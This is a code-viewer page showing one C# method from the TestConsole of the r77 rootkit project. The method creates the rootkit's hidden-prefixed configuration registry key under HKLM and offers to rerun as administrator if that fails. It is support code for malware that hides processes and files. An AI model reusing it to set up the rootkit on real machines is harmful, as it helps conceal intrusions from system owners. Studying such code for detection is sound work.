MCPcopy Create free account
hub / github.com/bytecode77/r77-rootkit / EnsureConfigSystem

Method EnsureConfigSystem

TestConsole/Helper/ConfigSystem.cs:48–78  ·  view source on GitHub ↗

Creates the registry key HKLM\SOFTWARE\$77config, if it does not exist. This key will already be present, when r77 is installed. Otherwise, creation of the key requires elevated privileges (only once). , if the configuration system exists or was created successfully; otherwise, .

()

Source from the content-addressed store, hash-verified

46 /// otherwise, <see langword="false" />.
47 /// </returns>
48 public static bool EnsureConfigSystem()
49 {
50 if (IsConfigSystemCreated)
51 {
52 return true;
53 }
54 else
55 {
56 if (HelperDll.CreateConfigSystem())
57 {
58 Log.Information(
59 new LogTextItem("Registry key"),
60 new LogFileItem($@"HKEY_LOCAL_MACHINE\SOFTWARE\{R77Const.HidePrefix}config"),
61 new LogTextItem("created.")
62 );
63
64 return true;
65 }
66 else
67 {
68 Log.Error(
69 new LogTextItem("Failed to create registry key"),
70 new LogFileItem($@"HKEY_LOCAL_MACHINE\SOFTWARE\{R77Const.HidePrefix}config"),
71 new LogTextItem("Try to"),
72 new LogLinkItem("run as administrator", () => MainWindowViewModel.Singleton?.ElevateCommand.Execute())
73 );
74
75 return false;
76 }
77 }
78 }
79 /// <summary>
80 /// Returns the registry key that represents the configuration system.
81 /// Call <see cref="EnsureConfigSystem" /> to ensure that this key exists.

Callers 2

HideMethod · 0.80

Calls 3

InformationMethod · 0.80
ErrorMethod · 0.80
CreateConfigSystemMethod · 0.45

Tested by

no test coverage detected